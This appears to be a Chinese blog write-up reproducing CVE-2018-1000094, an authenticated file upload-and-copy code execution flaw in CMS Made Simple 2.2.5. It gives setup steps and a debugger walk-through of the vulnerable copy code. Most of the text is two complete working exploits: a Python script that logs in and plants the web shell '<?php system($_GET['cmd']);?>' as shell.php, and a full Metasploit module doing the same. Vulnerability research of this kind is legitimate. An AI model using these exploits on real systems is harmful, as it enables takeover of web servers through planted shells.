CVE-2018-1000094-CMSMS 2.2.5代码执行漏洞(每周一洞)

0x01 前言

CMS Made Simple是一个简单易于使用的内容管理系统。它使用PHP,MySQL和Smarty模板引擎开发。

昨天看漏洞库的时候看到这一款CMS,漏洞操作也挺简单的,但是可以申请CVE,于是乎就复现了一篇过程和写漏洞脚本。

0x02 环境

  1. 下载下来是一个安装文件cmsms-2.2.5-install.php,浏览器直接打开
  2. 默认Next,到数据库连接这一块要先创建一个数据库,我这里创建一个名为simple的数据库,然后填上数据库连接信息

  3. 填写管理账号密码信息
  4. 填写可写可读的目录和选择语言
  5. 安装完成,除了邮件模块,不过也用不上。

0x03 漏洞复现过程

  1. 登录后台

  2. 选择File Manager

  3. 编写一个文件名为a.txt内容为<?php phpinfo();?>的文件,然后点击上传。
  4. 选中a.txt,点击copy,名字改为rce.php,然后确定
  5. 文件就copy过来了,有点类似系统的copy命令。
  6. 访问rce.php

0x04 漏洞分析过程

  • 还记得上一篇的phpok的分析,如果找不出关键文件,可以抓包分析。

    可以看到主要是通过文件admin/moduleinterface.php文件进行操作的。

    可能这样看会让人很乱,我们可以用phpstorm的debug来调试整个过程
    相关配置可以看https://getpass.cn/2018/04/10/Breakpoint%20debugging%20with%20phpstorm+xdebug/
  • 从上面的抓包可以看出来,mact参数是FileManagerm1_fileaction,大家可以去这里下断点然后一步一步分析整个流程。
  • 有经验可以看出来,FileManager就是modules\FileManager目录,fileaction就是modules/FileManager/action.fileaction.php文件,再往下看代码的68行,可以看到我们的copy操作的代码。

    1
    2
    3
    4
    if (isset($params["fileactioncopy"]) || $fileaction=="copy") {
    include_once(__DIR__."/action.copy.php");
    return;
    }
  • 我们找到这个文件action.copy.php,我们在93行下一个断点,然后去操作copy,可以看到有各种很详细的参数信息。

  • 我们F7单步走,可以看到执行$res = copy($src,$dest);的时候没有发生错误。
  • 这样就正式完成了所有操作,如有不懂可以看下官方文档的copy函数的用法http://www.php.net/manual/en/function.copy.php

    0x05 漏洞脚本

    python版本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    # Exploit Title: CMS Made Simple 2.2.5 authenticated Remote Code Execution
    # Date: 3rd of July, 2018
    # Exploit Author: Mustafa Hasan (@strukt93)
    # Vendor Homepage: http://www.cmsmadesimple.org/
    # Software Link: http://www.cmsmadesimple.org/downloads/cmsms/
    # Version: 2.2.5
    # CVE: CVE-2018-1000094

    import requests
    import base64

    base_url = "http://127.0.0.1/cmsms/admin"
    upload_dir = "/uploads"
    upload_url = base_url.split('/admin')[0] + upload_dir
    username = "admin"
    password = "123456"

    csrf_param = "__c"
    txt_filename = 'cmsmsrce.txt'
    php_filename = 'shell.php'
    payload = "<?php system($_GET['cmd']);?>"

    def parse_csrf_token(location):
    return location.split(csrf_param + "=")[1]

    def authenticate():
    page = "/login.php"
    url = base_url + page
    data = {
    "username": username,
    "password": password,
    "loginsubmit": "Submit"
    }
    response = requests.post(url, data=data, allow_redirects=False)
    status_code = response.status_code
    if status_code == 302:
    print "[+] Authenticated successfully with the supplied credentials"
    return response.cookies, parse_csrf_token(response.headers['Location'])
    print "[-] Authentication failed"
    return None, None

    def upload_txt(cookies, csrf_token):
    mact = "FileManager,m1_,upload,0"
    page = "/moduleinterface.php"
    url = base_url + page
    data = {
    "mact": mact,
    csrf_param: csrf_token,
    "disable_buffer": 1
    }
    txt = {
    'm1_files[]': (txt_filename, payload)
    }
    print "[*] Attempting to upload {}...".format(txt_filename)
    response = requests.post(url, data=data, files=txt, cookies=cookies)
    status_code = response.status_code
    if status_code == 200:
    print "[+] Successfully uploaded {}".format(txt_filename)
    return True
    print "[-] An error occurred while uploading {}".format(txt_filename)
    return None

    def copy_to_php(cookies, csrf_token):
    mact = "FileManager,m1_,fileaction,0"
    page = "/moduleinterface.php"
    url = base_url + page
    b64 = base64.b64encode(txt_filename)
    serialized = 'a:1:{{i:0;s:{}:"{}";}}'.format(len(b64), b64)
    data = {
    "mact": mact,
    csrf_param: csrf_token,
    "m1_fileactioncopy": "",
    "m1_path": upload_dir,
    "m1_selall": serialized,
    "m1_destdir": "/",
    "m1_destname": php_filename,
    "m1_submit": "Copy"
    }
    print "[*] Attempting to copy {} to {}...".format(txt_filename, php_filename)
    response = requests.post(url, data=data, cookies=cookies, allow_redirects=False)
    status_code = response.status_code
    if status_code == 302:
    if response.headers['Location'].endswith('copysuccess'):
    print "[+] File copied successfully"
    return True
    print "[-] An error occurred while copying, maybe {} already exists".format(php_filename)
    return None

    def quit():
    print "[-] Exploit failed"
    exit()

    def run():
    cookies,csrf_token = authenticate()
    if not cookies:
    quit()
    if not upload_txt(cookies, csrf_token):
    quit()
    if not copy_to_php(cookies, csrf_token):
    quit()
    print "[+] Exploit succeeded, shell can be found at: {}".format(upload_url + '/' + php_filename)

    run()

MSF版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'CMS Made Simple Authenticated RCE via File Upload/Copy',
'Description' => %q{
CMS Made Simple v2.2.5 allows an authenticated administrator to upload a file
and rename it to have a .php extension. The file can then be executed by opening
the URL of the file in the /uploads/ directory.
},
'Author' =>
[
'Mustafa Hasen', # Vulnerability discovery and EDB PoC
'Jacob Robles' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2018-1000094' ],
[ 'CWE', '434' ],
[ 'EDB', '44976' ],
[ 'URL', 'http://dev.cmsmadesimple.org/bug/view/11741' ]
],
'Privileged' => false,
'Platform' => [ 'php' ],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Universal', {} ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 03 2018'))

register_options(
[
OptString.new('TARGETURI', [ true, "Base cmsms directory path", '/cmsms/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", '']),
OptString.new('PASSWORD', [ true, "Password to authenticate with", ''])
])

register_advanced_options ([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end

def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
})

unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end

unless res.body =~ /CMS Made Simple<\/a> version (\d+\.\d+\.\d+)/
return CheckCode::Unknown
end

version = Gem::Version.new($1)
vprint_status("#{peer} - CMS Made Simple Version: #{version}")

if version == Gem::Version.new('2.2.5')
return CheckCode::Appears
end

if version < Gem::Version.new('2.2.5')
return CheckCode::Detected
end

CheckCode::Safe
end

def exploit
unless [CheckCode::Detected, CheckCode::Appears].include?(check)
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
'method' => 'POST',
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'loginsubmit' => 'Submit'
}
})
unless res
fail_with(Failure::NotFound, 'A response was not received from the remote host')
end

unless res.code == 302 && res.get_cookies && res.headers['Location'] =~ /\/admin\?(.*)?=(.*)/
fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
end

vprint_good("#{peer} - Authentication successful")
csrf_name = $1
csrf_val = $2

csrf = {csrf_name => csrf_val}
cookies = res.get_cookies
filename = rand_text_alpha(8..12)

# Generate form data
message = Rex::MIME::Message.new
message.add_part(csrf[csrf_name], nil, nil, "form-data; name=\"#{csrf_name}\"")
message.add_part('FileManager,m1_,upload,0', nil, nil, 'form-data; name="mact"')
message.add_part('1', nil, nil, 'form-data; name="disable_buffer"')
message.add_part(payload.encoded, nil, nil, "form-data; name=\"m1_files[]\"; filename=\"#{filename}.txt\"")
data = message.to_s

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'moduleinterface.php'),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{message.bound}",
'cookie' => cookies
})

unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to upload the text file')
end
vprint_good("#{peer} - File uploaded #{filename}.txt")

fileb64 = Rex::Text.encode_base64("#{filename}.txt")
data = {
'mact' => 'FileManager,m1_,fileaction,0',
"m1_fileactioncopy" => "",
'm1_selall' => "a:1:{i:0;s:#{fileb64.length}:\"#{fileb64}\";}",
'm1_destdir' => '/',
'm1_destname' => "#{filename}.php",
'm1_path' => '/uploads',
'm1_submit' => 'Copy',
csrf_name => csrf_val
}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'moduleinterface.php'),
'method' => 'POST',
'cookie' => cookies,
'vars_post' => data
})

unless res
fail_with(Failure::NotFound, 'A response was not received from the remote host')
end

unless res.code == 302 && res.headers['Location'].to_s.include?('copysuccess')
fail_with(Failure::UnexpectedReply, 'Failed to rename the file')
end
vprint_good("#{peer} - File renamed #{filename}.php")

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'uploads', "#{filename}.php"),
'method' => 'GET',
'cookie' => cookies
})
end
end

0x06 参考

程序下载:http://s3.amazonaws.com/cmsms/downloads/14076/cmsms-2.2.5-install.zip
https://www.exploit-db.com/exploits/44976/
http://dev.cmsmadesimple.org/bug/view/11741
https://packetstormsecurity.com/files/148622/CMS-Made-Simple-2.2.5-Authenticated-Remote-Command-Execution.html

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器